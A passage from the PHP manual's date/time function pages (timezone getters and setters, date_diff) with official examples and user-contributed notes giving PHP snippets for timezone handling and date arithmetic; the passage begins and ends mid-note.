    $dateTime = new DateTime($dateSrc, new DateTimeZone('GMT'));
    $dateTime->setTimeZone(new DateTimeZone($timeZone));
    echo 'DateTime::format(): '.$dateTime->format('H:i:s');
    // CORRECT! DateTime::format(): 14:50:00
?>

I'm not sure if this is a bug or desired behaviour.
[red. you don't have to do create two DateTimeZone objects, this works too:
<?php
    $timeZone = 'Europe/Warsaw';  // +2 hours
    $dateSrc = '2007-04-19 12:50 GMT';

    $dateTime = new DateTime($dateSrc);
    $dateTime->setTimeZone(new DateTimeZone($timeZone));
    echo 'DateTime::format(): '.$dateTime->format('H:i:s');
    // CORRECT! DateTime::format(): 14:50:00
?>
]
nizar dot jouini at gmail.com 07-Mar-2007 02:05
date_create and other DateTime related functions are included by default only in PHP versions equal and greater than 5.2.

In PHP 5.1.2 this functionality is marked to be experimental and has to be enabled at compile time.


Alias of DateTime::setDate

  • « date_create
  • date_default_timezone_get »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::setDate

date_date_set

(PHP 5 >= 5.2.0)

date_date_set — Alias of DateTime::setDate()

Description

This function is an alias of: DateTime::setDate()

User Contributed Notes

There are no user contributed notes for this page.


Gets the default timezone used by all date/time functions in a script

  • « date_date_set
  • date_default_timezone_set »
  • PHP Manual
  • Date/Time Functions
  • Gets the default timezone used by all date/time functions in a script

date_default_timezone_get

(PHP 5 >= 5.1.0)

date_default_timezone_get — Gets the default timezone used by all date/time functions in a script

Description

string date_default_timezone_get ( void )

In order of preference, this function returns the default timezone by:

  • Reading the timezone set using the date_default_timezone_set() function (if any)

  • Prior to PHP 5.4.0 only: Reading the TZ environment variable (if non empty)

  • Reading the value of the date.timezone ini option (if set)

  • Prior to PHP 5.4.0 only: Querying the host operating system (if supported and allowed by the OS). This uses an algorithm that has to guess the timezone. This is by no means going to work correctly for every situation. A warning is shown when this stage is reached. Do not rely on it to be guessed correctly, and set date.timezone to the correct timezone instead.

If none of the above succeed, date_default_timezone_get() will return a default timezone of UTC.

Return Values

Returns a string.

Changelog

Version | Description
5.4.0 | The TZ environment variable is no longer used to guess the timezone.
5.4.0 | The timezone is no longer guessed from information available through the operating system as the guessed timezone can not be relied on.

Examples

Example #1 Getting the default timezone

<?php
date_default_timezone_set('Europe/London');

if (date_default_timezone_get()) {
    echo 'date_default_timezone_set: ' . date_default_timezone_get() . '<br />';
}

if (ini_get('date.timezone')) {
    echo 'date.timezone: ' . ini_get('date.timezone');
}

?>

The above example will output something similar to:

date_default_timezone_set: Europe/London
date.timezone: Europe/London

Example #2 Getting the abbreviation of a timezone

<?php
date_default_timezone_set('America/Los_Angeles');
echo date_default_timezone_get() . ' => ' . date('e') . ' => ' . date('T');
?>

The above example will output:

America/Los_Angeles => America/Los_Angeles => PST

See Also

  • date_default_timezone_set() - Sets the default timezone used by all date/time functions in a script
  • List of Supported Timezones

User Contributed Notes

bohwaz 12-Sep-2013 12:23
Please note that on Debian/Ubuntu this function will return the system timezone defined in /etc/localtime if date.timezone is not defined, even with PHP 5.4+

See http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=673763#10
benrwhite at gmail dot com 12-Jul-2013 08:31
For the reason that date_default_timezone_get() throws an error when the timezone isn't set in php.ini and then returns a default chosen by the system (rather than returning false to indicate to the script that a timezone hasn't been set), I've found that the following works when you want a script to detect when the ini value has not been set and want the script itself to choose a default in that case, while still allowing bootstrap scripts to set their own default using date_default_timezone_set().

<?php

set_error_handler(function ($errno, $errstr){
    throw new Exception($errstr);
    return false;
});
try{
    date_default_timezone_get();
}
catch(Exception $e){
    date_default_timezone_set('UTC'); // Sets to UTC if not specified anywhere in .ini
}
restore_error_handler();
Damien dot Garrido dot Work at gmail dot com 05-Jul-2012 09:04
To get offset string from offset:

<?php

function timezone_offset_string( $offset )
{
        return sprintf( "%s%02d:%02d", ( $offset >= 0 ) ? '+' : '-', abs( $offset / 3600 ), abs( $offset % 3600 ) );
}

$offset = timezone_offset_get( new DateTimeZone( 'Pacific/Kiritimati' ), new DateTime() );
echo "offset: " . timezone_offset_string( $offset ) . "\n";

$offset = timezone_offset_get( new DateTimeZone( 'Pacific/Tahiti' ), new DateTime() );
echo "offset: " . timezone_offset_string( $offset ) . "\n";
?>

Output:
offset: +14:00
offset: -10:00
glennpratt+php at gmail dot com 19-May-2011 10:30
In my case, I'm not sure I can guess the correct timezone any better than PHP and it's no where near important enough to nag the user, so...

<?php
// Suppress DateTime warnings
date_default_timezone_set(@date_default_timezone_get());
?>
harmor 28-Feb-2008 05:19
If you want to get the abbrivation (3 or 4 letter), instead of the long timezone string you can use date('T') function like this:

Input:
date_default_timezone_set('America/Los_Angeles');
echo date_default_timezone_get();
echo ' => '.date('e');
echo ' => '.date('T');

Output:
America/Los_Angeles => America/Los_Angeles => PST
dohpaz at gmail dot com 20-Apr-2007 11:58
date_default_timezone_get() will still emit a warning in E_STRICT if the timezone is not set; either by date_default_timezone_set() or the ini option of date.timezone.

This is probably not a big deal, but I thought I would contribute what I found.


Sets the default timezone used by all date/time functions in a script

  • « date_default_timezone_get
  • date_diff »
  • PHP Manual
  • Date/Time Functions
  • Sets the default timezone used by all date/time functions in a script

date_default_timezone_set

(PHP 5 >= 5.1.0)

date_default_timezone_set — Sets the default timezone used by all date/time functions in a script

Description

bool date_default_timezone_set ( string $timezone_identifier )

date_default_timezone_set() sets the default timezone used by all date/time functions.

Note:

Since PHP 5.1.0 (when the date/time functions were rewritten), every call to a date/time function will generate a E_NOTICE if the timezone isn't valid, and/or a E_WARNING message if using the system settings or the TZ environment variable.

Instead of using this function to set the default timezone in your script, you can also use the INI setting date.timezone to set the default timezone.

Parameters

timezone_identifier

The timezone identifier, like UTC or Europe/Lisbon. The list of valid identifiers is available in the List of Supported Timezones.

Return Values

This function returns FALSE if the timezone_identifier isn't valid, or TRUE otherwise.

Examples

Example #1 Getting the default timezone

<?php
date_default_timezone_set('America/Los_Angeles');

$script_tz = date_default_timezone_get();

if (strcmp($script_tz, ini_get('date.timezone'))){
    echo 'Script timezone differs from ini-set timezone.';
} else {
    echo 'Script timezone and ini-set timezone match.';
}
?>

Changelog

Version | Description
5.3.0 | Now throws E_WARNING rather than E_STRICT.
5.1.2 | The function started to validate the timezone_identifier parameter.

See Also

  • date_default_timezone_get() - Gets the default timezone used by all date/time functions in a script
  • List of Supported Timezones

User Contributed Notes

Taylor 31-May-2014 06:47
I was having major issues with the date.timezone setting after I updated from 5.3.3 to 5.4.29. I still need to update further, and perhaps it's a bug in this version that will be fixed when I update..

But to fix the issue of php not being about to find my time zone, I added a .htaccess file to the root of my web directory. All I have in it is this one line (without quotes)

"php_value date.timezone America/Denver"

And now the timezone is set in any directory I browse in. Very strange, and I still haven't figured out why It wont work from the php.ini file. But here's how to overcome the frustration.
chris at clwill dot com 11-Dec-2013 08:54
I'm sure I'm not the only one who is distressed by the recent default behavior change to E_NOTICE when the timezone isn't explicitly set in the program or in .ini.  I insure that the clock on the server IS correct, and I don't want to have to set it in two places (the system AND PHP).  So I want to read it from the system.  But PHP won't accept that answer, and insists on a call to this function.  So, here's my answer:

<?php
 function setTimezone($default) {
    $timezone = "";

    // On many systems (Mac, for instance) "/etc/localtime" is a symlink
    // to the file with the timezone info
    if (is_link("/etc/localtime")) {

        // If it is, that file's name is actually the "Olsen" format timezone
        $filename = readlink("/etc/localtime");

        $pos = strpos($filename, "zoneinfo");
        if ($pos) {
            // When it is, it's in the "/usr/share/zoneinfo/" folder
            $timezone = substr($filename, $pos + strlen("zoneinfo/"));
        } else {
            // If not, bail
            $timezone = $default;
        }
    }
    else {
        // On other systems, like Ubuntu, there's file with the Olsen time
        // right inside it.
        $timezone = file_get_contents("/etc/timezone");
        if (!strlen($timezone)) {
            $timezone = $default;
        }
    }
    date_default_timezone_set($timezone);
 }
?>

Use it by calling it with a fallback default answer.

Yes, I know it doesn't work on Windows.  Neither do I :)  Perhaps someone wants to add that functionality.

Hope this helps someone.
Christopher Kramer 10-Mar-2013 06:39
Regarding my post 3 years before:
The performance impact seems to be caused by the fact that a log message is written if you do not set a timezone. And writing a log message to disk can take significantly longer than actually calculating date() or getdate() - esp. on systems with slow IO like the Windows machine I used 3 years ago.

PHP 4 did not produce any log messages, and therefore was as fast as PHP5 with a timezone set.

So if you run date() or getdate() a lot of times, this will cause a lot of log messages to be written to disk (if you did not disable them in your php.ini settings), which will take its time.

So either use this function or set the ini-setting "date.timezone" to make things faster.
(And have a look into your logfiles! Solving all those warnings will not only save you disk space but will also speed up your web application.)
Pierre Gourlaouen 06-Jul-2012 05:45
A simple method for conversation between two time zone.

<?php
$date = new DateTime("2012-07-05 16:43:21", new DateTimeZone('Europe/Paris'));

date_default_timezone_set('America/New_York');

echo date("Y-m-d h:iA", $date->format('U'));

// 2012-07-05 10:43AM
?>
daneiracleous at gmail dot com 28-Jan-2012 05:11
If you want to set the default timezone to the user's local timezone, you have to combine PHP and JavaScript. Here's how to do it:

<?php
session_start();
if(!isset($_SESSION['timezone']))
{
    if(!isset($_REQUEST['offset']))
    {
    ?>
    <script>
    var d = new Date()
    var offset= -d.getTimezoneOffset()/60;
    location.href = "<?php echo $_SERVER['PHP_SELF']; ?>?offset="+offset;
    </script>
    <?php
    }
    else
    {
        $zonelist = array('Kwajalein' => -12.00, 'Pacific/Midway' => -11.00, 'Pacific/Honolulu' => -10.00, 'America/Anchorage' => -9.00, 'America/Los_Angeles' => -8.00, 'America/Denver' => -7.00, 'America/Tegucigalpa' => -6.00, 'America/New_York' => -5.00, 'America/Caracas' => -4.30, 'America/Halifax' => -4.00, 'America/St_Johns' => -3.30, 'America/Argentina/Buenos_Aires' => -3.00, 'America/Sao_Paulo' => -3.00, 'Atlantic/South_Georgia' => -2.00, 'Atlantic/Azores' => -1.00, 'Europe/Dublin' => 0, 'Europe/Belgrade' => 1.00, 'Europe/Minsk' => 2.00, 'Asia/Kuwait' => 3.00, 'Asia/Tehran' => 3.30, 'Asia/Muscat' => 4.00, 'Asia/Yekaterinburg' => 5.00, 'Asia/Kolkata' => 5.30, 'Asia/Katmandu' => 5.45, 'Asia/Dhaka' => 6.00, 'Asia/Rangoon' => 6.30, 'Asia/Krasnoyarsk' => 7.00, 'Asia/Brunei' => 8.00, 'Asia/Seoul' => 9.00, 'Australia/Darwin' => 9.30, 'Australia/Canberra' => 10.00, 'Asia/Magadan' => 11.00, 'Pacific/Fiji' => 12.00, 'Pacific/Tongatapu' => 13.00);
        $index = array_keys($zonelist, $_REQUEST['offset']);
        $_SESSION['timezone'] = $index[0];
    }
}
date_default_timezone_set($_SESSION['timezone']);

//rest of your code goes here
?>
power2all at gmail dot com 01-Feb-2011 05:30
After poundering and knocking my head on the table, I finally got a proper fix for Windows and PHP timezone handling.

Since Windows applies the DST to ActiveTimeBias in the registry, you only need this to apply.
The only problem is, that it cant use the timezone_set command.

You can request a response back in any date-format you wish, or use the default one given in the function itself.

<?php

// Return proper time
function time_zone_fix($timeGiven = "H:i:s")
{
    $shell = new COM("WScript.Shell") or die("Requires Windows Scripting Host");
    $time_bias = -($shell->RegRead("HKEY_LOCAL_MACHINE\\SYSTEM\\
CurrentControlSet\\Control\\TimeZoneInformation\\
ActiveTimeBias")) / 60;
    $timestamp_bias = 60 * 60 * $time_bias;
    echo $time_bias . "<br />";
    return gmdate($timeGiven, strtotime($timestamp_bias . " seconds"));
}
?>
Anonymous 20-Nov-2010 10:58
People complaining that there's no way to set the offset - you are wrong. You can easily set the offset from GMT (see "Other" in available zones). And since all zones are offset from GMT it's just easy math with + or - to get that. So if you i.e. want the offset not from GMT but your timezone, then compute offset of your zone from GMT (say if you in Berlin its +1 now (mind summer time!)) and then offset for your target zone (i.e NYC is -5) then sum abs! of these values and set the sign of bigger (abs) value -> total offset from your european zone to NYC is then abs(-5)+abs(1) = 6 and set "-" as NYC zone absolute value is bigger. So whatever time is in Berlin, in NYC it's 6hrs earlier. But it's better to do two step calculation and calculate always from GMT
steve at pozzie dot net 11-Oct-2010 10:35
Most of the scripts here depend on PHP identifying the correct zone when one is not set, but that does not always happen.

For example PHP 5.3.3 gives a 'UTC' result for a detected '8.0/no DST'. Not much help.

So for those of us who for very good reasons really cannot set time zones in scripts of in .ini files, here is a function
for use in a Windows environment that sets the default time zone to the OS time zone and returns the detected and set texts.

<?php
function date_system_timezone_set(){
  $shell = new COM("WScript.Shell") or die("Requires Windows Scripting Host");
  $time_bias = -($shell->RegRead(
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control
\\TimeZoneInformation\\Bias"))/60;
  $ab = -($shell->RegRead(
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control
\\TimeZoneInformation\\ActiveTimeBias"))/60;
  $sc = $shell->RegRead(
"HKEY_USERS\\.DEFAULT\\Control Panel\\International\\sCountry");
  foreach(timezone_abbreviations_list() as $tza) foreach($tza as $entry){
    $country = strtok($entry['timezone_id'],'/');
    $locale = strtok('|');
    if($country==$sc && $ab==($entry['offset']/60/60) && ($ds = $time_bias!=$ab)==$entry['dst']){
      date_default_timezone_set($timezone_identifier = $country."/".$locale);
      return sprintf('%.1f',$ab)."/".($ds?'':'no ').'DST'." ".$timezone_identifier;
     }
   }
  return false;
 }
?>
Tom S 11-Sep-2010 03:22
This is a good script if you know or control your system so that you know that the local TZ in your OS is correct. Unfortunately, this script still creates an warning message under BSD UNIX.

To fix this, just add an "@" in front of "localtime" as:

$arr = @localtime($iTime);
Frederick Hathaway 04-Mar-2010 05:54
It's really a hassle that there is no way to set the timezone offset. I attempted to use the code that searched for the correct timezone name by offset from below. I found it didn't work reliably since various cities may have different rules about time DST etc. My solution is to actually search the array and do a test to insure the offset is what I expect it to be. It seems very kludgey (if thats a word) but it works.

<?php
function setTimezoneByOffset($offset)
    {
      $testTimestamp = time();
        date_default_timezone_set('UTC');
        $testLocaltime = localtime($testTimestamp,true);
        $testHour = $testLocaltime['tm_hour'];

    $abbrarray = timezone_abbreviations_list();
    foreach ($abbrarray as $abbr)
    {
        //echo $abbr."<br>";
      foreach ($abbr as $city)
      {
                date_default_timezone_set($city['timezone_id']);
                $testLocaltime     = localtime($testTimestamp,true);
                $hour                     = $testLocaltime['tm_hour'];
                $testOffset =  $hour - $testHour;
                if($testOffset == $offset)
                {
                    return true;
                }
      }
    }
    return false;
    }
?>
Christopher Kramer 09-Jan-2010 04:52
I experienced that using this function highly increases performance of functions like getdate() or date() using PHP 5.2.6 on Windows.
I experienced similar results on Linux servers with PHP 5.2.6 and 5.2.10, although the difference was not that significant on these servers: The PHP 5.2.10 server did run with date_default_timezone_set ("only") twice as fast as without. The 5.2.6 server did 5 times faster with date_default_timezone_set. As you can see below, the 5.2.6-Windows machine did a LOT faster.
Of course these machines have completely different hardware and can not really be compared, but all show improved performance.

I checked PHP 4.4.9 on Windows (without date_default_timezone_set of course) and noticed that its as fast as PHP 5.2.6 with date_default_timezone_set.

The following script shows this:

<?php

# uncomment to see difference
# date_default_timezone_set(date_default_timezone_get());

function getmicrotime()
 {
 list($usec, $sec) = explode(' ',microtime());
 return ($sec.substr($usec,1,7));
 }

$start=mktime(0,0,0,1,1,2005);
$end=mktime(0,0,0,1,1,2020);
$nr=50000;

$start_time=getmicrotime();
for($i=0;$i<$nr;$i++) {
# $value=getdate(rand($start,$end));
  date("H:i:s d.m.Y",rand($start,$end));
}
$end_time=getmicrotime();

echo "Time: ".($end_time-$start_time);

// With date_default_timezone_set(): "Time: 0.379343986511"
// Without date_default_timezone_set(): "Time: 7.4971370697"

?>

Note that the timezone is not changed, it is only set again. I really wonder why this makes such a big performance difference, but its good to know.
ted dot chou12 at gmail dot com 03-Dec-2008 08:13
Timezone using other approaches:
<?php $datetime = strtotime($originaldatetime) + $time;
$datetime = date('M d, Y h:i A', $datetime);?>

$time obtained from table below:
-25200|International Date Line (West) GMT-12|
-21600|Midway Island, Samoa GMT-11|
-18000|Hawaii, Honolulu GMT-10|
-14400|Alaska GMT-9|
-10800|Pacific Standard Time, US, Canada GMT-8|
-7200|British Columbia N.E., Santa Fe, Mountain Time GMT-7|
-3600|Central America, Chicago, Guatamala, Mexico City GMT-6|
0|US, Canada, Bogota, Boston, New York GMT-5|
+3600|Canada, Santiago, Atlantic Standard Time GMT-4|
+7200|Brazilia, Buenos Aires, Georgetown, Greenland GMT-3|
+10800|Mid-Atlantic GMT-2|
+14400|Azores, Cape Verde Is., Western Africa Time GMT-1|
+18000|London, Iceland, Ireland, Morocco, Portugal GMT|
+21600|Amsterdam, Berlin, Bern, Madrid, Paris, Rome, GMT+1|
+25200|Athens, Cairo, Cape Town, Finland, Greece, Israel GMT+2|
+28800|Ankara, Aden, Baghdad, Beruit, Kuwait, Moscow GMT+3|
+32400|Abu Dhabi, Baku, Kabul, Tehran, Tbilisi, Volgograd GMT+4|
+36000|Calcutta, Colombo, Islamabad, Madras, New Dehli GMT+5|
+39600|Almaty, Dhakar, Kathmandu, Colombo, Sri Lanka GMT+6|
+43200|Bangkok, Hanoi, Jakarta, Phnom Penh, Australia GMT+7|
+46800|Taipei, Beijing, Hong Kong, Singapore, GMT+8|
+50400|Seoul, Tokyo, Central Australia GMT+9|
+54000|Brisbane, Canberra, Guam, Melbourne, Sydney, GMT+10|
+57600|Magadan, New Caledonia, Solomon Is. GMT+11|
+61200|Auckland, Fiji, Kamchatka, Marshall, Wellington, GMT+12|
jason at jasonpriem dot com 12-Nov-2008 05:29
While it's easy to change timezones based on names or abbreviations, I haven't found any straightforward way of doing so using an offset integer.  This situation comes up if you're using AJAX to get information about a user's timezone; javascript's getTimezoneOffset() method just sends you an offset number. So, here's my clunky solution: an adaptation of chris' function at http://us.php.net/manual/en/function.timezone-name-from-abbr.php.

<?php
    function set_tz_by_offset($offset) {
        $offset = $offset*60*60;
        $abbrarray = timezone_abbreviations_list();
        foreach ($abbrarray as $abbr) {
            //echo $abbr."<br>";
                foreach ($abbr as $city) {
                    //echo $city['offset']." $offset<br>";
                        if ($city['offset'] == $offset) { // remember to multiply $offset by -1 if you're getting it from js
                               date_default_timezone_set($city['timezone_id']);
                               return true;
                        }
                }
        }
    date_default_timezone_set("ust");
       return false;
       }

set_tz_by_offset(-1);

?>

[EDIT BY thiago AT php DOT net: This code has contributions from iateadonut at gmail dot com]
Rob Kaper 15-Jul-2008 10:46
If you want users to choose their own timezones, here's some code that gets all available timezones but only uses one city for each possible value:

<?php

$timezones = DateTimeZone::listAbbreviations();

$cities = array();
foreach( $timezones as $key => $zones )
{
    foreach( $zones as $id => $zone )
    {
        /**
         * Only get timezones explicitely not part of "Others".
         * @see http://www.php.net/manual/en/timezones.others.php
         */
        if ( preg_match( '/^(America|Antartica|Arctic|Asia|Atlantic|Europe|Indian|Pacific)\//', $zone['timezone_id'] ) )
            $cities[$zone['timezone_id']][] = $key;
    }
}

// For each city, have a comma separated list of all possible timezones for that city.
foreach( $cities as $key => $value )
    $cities[$key] = join( ', ', $value);

// Only keep one city (the first and also most important) for each set of possibilities.
$cities = array_unique( $cities );

// Sort by area/city name.
ksort( $cities );

?>
PeerGoal.com 12-Feb-2007 01:21
The problem:

date() [function.date]: It is not safe to rely on the system's timezone settings. Please use the date.timezone setting, the TZ environment variable or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'America/Los_Angeles' for 'PST/-8.0/no DST' instead

Of course this is a problem that recently surfaced since PHP5. Quick fix is to set your time zone, add this line to your php code:

date_default_timezone_set("America/Los_Angeles");
davidn at datalinktech dot com dot au 22-Dec-2006 02:27
Note that there may be some unexpected side-effects that result from using either set_default_timezone() or the putenv("TZ=...") workalike for earlier PHP versions.  ANY date formatted and output either by PHP or its apache host process will be unconditionally expressed in that timezone.

[red. That is only true for the putenv() hack - Derick]

This does indeed include the web server's logs and other output files and reports which by default usually do not include any indication of timezone. This has a further side-effect on log processing and analysis, obviously.


Alias of DateTime::diff

  • « date_default_timezone_set
  • date_format »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::diff

date_diff

(PHP 5 >= 5.3.0)

date_diff — Alias of DateTime::diff()

Description

This function is an alias of: DateTime::diff()

User Contributed Notes

waiyanmintun at gmail dot com 03-Oct-2014 11:45
Why PHP skip counting 1914-1-2 in 5.5.11.0?

$d1 = date_create('1914-1-1');
$d2 = date_create('1914-1-3');
$interval = date_diff($d1, $d2);
$i = (int) $interval->format('%a');
echo $i;

$i value must be 2, but show 1.

Environment : XAMPP 3.2.1 on Win 8.1
jesushuertaarrabal at gmail dot com 03-Oct-2014 09:48
A way to verify a correct date getting your age

if (isset($_POST['birthday'])){
     if (preg_match("/^[0-9]{4}-[0-1][0-9]-[0-3][0-9]$/",$_POST['birthday'])){
          $items = explode("-", $_POST['birthday']);
           if (checkdate($items[1], $items[2], $items[0])){ //checkdate(m-d-y)
               //If you were born in a lip-year or lip - 1, then we have to add 5 days, else, we add 4 days
                if ((0 == $items[0] % 4) && (0 != $items[0] % 100) || (0 == $items[0] % 400))
                 $bis = 4;
                else
                 $bis = 5;
            if (date_diff(date_create($_POST['birthday']) , date_create(date('Y-m-d')))->format("%R%a days") > (6569 + $bis)) //365*18
                 $print .= 'Birthday date: ' . $_POST['birthday'] . '<br>';
            else
                 $error[] = -1;
           }else
                $error[] = -2;
      }else
           $error[] = -3;
     }else
    $error[] = -4;
}
SunilKmCharde 21-May-2014 05:07
Powerful Function to get two date difference.

//////////////////////////////////////////////////////////////////////
//PARA: Date Should In YYYY-MM-DD Format
//RESULT FORMAT:
// '%y Year %m Month %d Day %h Hours %i Minute %s Seconds'        =>  1 Year 3 Month 14 Day 11 Hours 49 Minute 36 Seconds
// '%y Year %m Month %d Day'                                    =>  1 Year 3 Month 14 Days
// '%m Month %d Day'                                            =>  3 Month 14 Day
// '%d Day %h Hours'                                            =>  14 Day 11 Hours
// '%d Day'                                                        =>  14 Days
// '%h Hours %i Minute %s Seconds'                                =>  11 Hours 49 Minute 36 Seconds
// '%i Minute %s Seconds'                                        =>  49 Minute 36 Seconds
// '%h Hours                                                    =>  11 Hours
// '%a Days                                                        =>  468 Days
//////////////////////////////////////////////////////////////////////
function dateDifference($date_1 , $date_2 , $differenceFormat = '%a' )
{
    $datetime1 = date_create($date_1);
    $datetime2 = date_create($date_2);

    $interval = date_diff($datetime1, $datetime2);

    return $interval->format($differenceFormat);

}
Chiheb Nabil 09-Feb-2013 11:01
here a little solution of problem of missing date_diff function with php versions below 5.3.0

<?php
function IntervalDays($CheckIn,$CheckOut){
$CheckInX = explode("-", $CheckIn);
$CheckOutX =  explode("-", $CheckOut);
$date1 =  mktime(0, 0, 0, $CheckInX[1],$CheckInX[2],$CheckInX[0]);
$date2 =  mktime(0, 0, 0, $CheckOutX[1],$CheckOutX[2],$CheckOutX[0]);
 $interval =($date2 - $date1)/(3600*24);

// returns numberofdays
return  $interval ;

}
?>
programacion at mundosica dot com 18-Apr-2012 07:36
Other data_diff aviable for php5.3>=

<?php
// Author: el pinche <fitorec>

function otherDiffDate($end='2020-06-09 10:30:00', $out_in_array=false){
        $intervalo = date_diff(date_create(), date_create($end));
        $out = $intervalo->format("Years:%Y,Months:%M,Days:%d,Hours:%H,Minutes:%i,Seconds:%s");
        if(!$out_in_array)
            return $out;
        $a_out = array();
        array_walk(explode(',',$out),
        function($val,$key) use(&$a_out){
            $v=explode(':',$val);
            $a_out[$v[0]] = $v[1];
        });
        return $a_out;
}
?>

#example 1
<?php
echo otherDiffDate();
?>
out1
       Years:08,Months:01,Days:22,Hours:17,Minutes:5,Seconds:26

example2
<?php
print_r(otherDiffDate('2020-01-01 20:30:00',true));
?>
out2
Array
(
    [Years] => 07
    [Months] => 08
    [Days] => 15
    [Hours] => 03
    [Minutes] => 3
    [Seconds] => 48
)
Toine (contact at toine dot pro) 26-Aug-2011 04:22
This is a very simple function to calculate the difference between two timestamp values.
<?php
function diff($start,$end = false) {
    /*
    * For this function, i have used the native functions of PHP. It calculates the difference between two timestamp.
    *
    * Author: Toine
    *
    * I provide more details and more function on my website
    */

    // Checks $start and $end format (timestamp only for more simplicity and portability)
    if(!$end) { $end = time(); }
    if(!is_numeric($start) || !is_numeric($end)) { return false; }
    // Convert $start and $end into EN format (ISO 8601)
    $start  = date('Y-m-d H:i:s',$start);
    $end    = date('Y-m-d H:i:s',$end);
    $d_start    = new DateTime($start);
    $d_end      = new DateTime($end);
    $diff = $d_start->diff($d_end);
    // return all data
    $this->year    = $diff->format('%y');
    $this->month    = $diff->format('%m');
    $this->day      = $diff->format('%d');
    $this->hour     = $diff->format('%h');
    $this->min      = $diff->format('%i');
    $this->sec      = $diff->format('%s');
    return true;
}

/*
 * How use it?
 *
 * Call your php class (myClass for this example) and use the function :
*/
$start  = strtotime('1985/02/09 13:54:17');
$end    = strtotime('2012/12/12 17:30:21');
$myClass = new myClass();
$myClass->Diff($start,$end);
// Display result
echo 'Year: '.$myClass->Year;
echo '<br />Month: '.$myClass->Month;
echo '<br />Day: '.$myClass->Day;
echo '<br />Hour: '.$myClass->Hour;
echo '<br />Min: '.$myClass->Min;
echo '<br />Sec: '.$myClass->Sec;
// Display only month for all duration
$month = ($myClass->Year * 12) + $myClass->Month;
echo '<br />Total month: '.$month;
// if you want you can use this function without $end value :
$myClass->Diff($start);
// Automatically the end is the current timestamp
?>
vglebov at gmail dot com 26-May-2011 08:59
Get the difference between the dates without days off

<?php
function get_date_diff($date1, $date2) {
  $holidays = 0;
  for ($day = $date2; $day < $date1; $day += 24 * 3600) {
    $day_of_week = date('N', $day);
    if($day_of_week > 5) {
      $holidays++;
    }
  }
  return $date1 - $date2 - $holidays * 24 * 3600;
}

function test_get_date_diff()
{
  $datas = array(
    array('Fri 20 May 2011 14:00:00', 'Fri 20 May 2011 13:00:00', 1 * 3600),
    array('Sat 21 May 2011 15:00:00', 'Fri 20 May 2011 13:00:00', 2 * 3600),
    array('Sun 22 May 2011 16:00:00', 'Fri 20 May 2011 13:00:00', 3 * 3600),
    array('Mon 23 May 2011 14:00:00', 'Fri 20 May 2011 13:00:00', 25 * 3600),
    array('Fri 27 May 2011 13:00:00', 'Fri 13 May 2011 13:00:00', 24 * 10 * 3600),
  );
  foreach ($datas as &$data) {
    $actual = get_date_diff(strtotime($data[0]), strtotime($data[1]));
    if ($actual != $data[2]) {
      echo "Test for get_date_diff faled expected {$data[2]} but was {$actual}, date1: {$data[0]}, date2: {$data[1]}.<br>";
    }
  }
}
test_get_date_diff($data);
?>
kshegunov at gmail dot com 10-Jan-2011 06:26
Here is how I solved the problem of missing date_diff function with php versions below 5.3.0
The function accepts two dates in string format (recognized by strtotime() hopefully), and returns the date difference in an array with the years as first element, respectively months as second, and days as last element.
It should be working in all cases, and seems to behave properly when moving through February.

<?php
        function dateDifference($startDate, $endDate)
        {
            $startDate = strtotime($startDate);
            $endDate = strtotime($endDate);
            if ($startDate === false || $startDate < 0 || $endDate === false || $endDate < 0 || $startDate > $endDate)
                return false;

            $years = date('Y', $endDate) - date('Y', $startDate);

            $endMonth = date('m', $endDate);
            $startMonth = date('m', $startDate);

            // Calculate months
            $months = $endMonth - $startMonth;
            if ($months <= 0)  {
                $months += 12;
                $years--;
            }
            if ($years < 0)
                return false;

            // Calculate the days
                        $offsets = array();
                        if ($years > 0)
                            $offsets[] = $years . (($years == 1) ? ' year' : ' years');
                        if ($months > 0)
                            $offsets[] = $months . (($months == 1) ? ' month' : ' months');
                        $offsets = count($offsets) > 0 ? '+' . implode(' ', $offsets) : 'now';

                        $days = $endDate - strtotime($offsets, $startDate);
                        $days = date('z', $days);

            return array($years, $months, $days);
        }
?>
Sergio Abreu 26-Jun-2010 04:22
<?php
/*
 * A mathematical decimal difference between two informed dates
 *
 * Author: Sergio Abreu
 * Website: http://sites.sitesbr.net
 *
 * Features:
 * Automatic conversion on dates informed as string.
 * Possibility of absolute values (always +) or relative (-/+)
*/

function s_datediff( $str_interval, $dt_menor, $dt_maior, $relative=false){

       if( is_string( $dt_menor)) $dt_menor = date_create( $dt_menor);
       if( is_string( $dt_maior)) $dt_maior = date_create( $dt_maior);

       $diff = date_diff( $dt_menor, $dt_maior, ! $relative);

       switch( $str_interval){
           case "y":
               $total = $diff->y + $diff->m / 12 + $diff->d / 365.25; break;
           case "m":
               $total= $diff->y * 12 + $diff->m + $diff->d/30 + $diff->h / 24;
               break;
           case "d":
               $total = $diff->y * 365.25 + $diff->m * 30 + $diff->d + $diff->h/24 + $diff->i / 60;
               break;
           case "h":
               $total = ($diff->y * 365.25 + $diff->m * 30 + $diff->d) * 24 + $diff->h + $diff->i/60;
               break;
           case "i":
               $total = (($diff->y * 365.25 + $diff->m * 30 + $diff->d) * 24 + $diff->h) * 60 + $diff->i + $diff->s/60;
               break;
           case "s":
               $total = ((($diff->y * 365.25 + $diff->m * 30 + $diff->d) * 24 + $diff->h) * 60 + $diff->i)*60 + $diff->s;
               break;
          }
       if( $diff->invert)
               return -1 * $total;
       else    return $total;
   }

/* Enjoy and feedback me ;-) */
?>
Flavio Tubino 27-May-2010 02:37
This is a very simple function to calculate the difference between two datetime values, returning the result in seconds. To convert to minutes, just divide the result by 60. In hours, by 3600 and so on.

Enjoy.

<?php
function time_diff($dt1,$dt2){
    $y1 = substr($dt1,0,4);
    $m1 = substr($dt1,5,2);
    $d1 = substr($dt1,8,2);
    $h1 = substr($dt1,11,2);
    $i1 = substr($dt1,14,2);
    $s1 = substr($dt1,17,2);

    $y2 = substr($dt2,0,4);
    $m2 = substr($dt2,5,2);
    $d2 = substr($dt2,8,2);
    $h2 = substr($dt2,11,2);
    $i2 = substr($dt2,14,2);
    $s2 = substr($dt2,17,2);

    $r1=date('U',mktime($h1,$i1,$s1,$m1,$d1,$y1));
    $r2=date('U',mktime($h2,$i2,$s2,$m2,$d2,$y2));
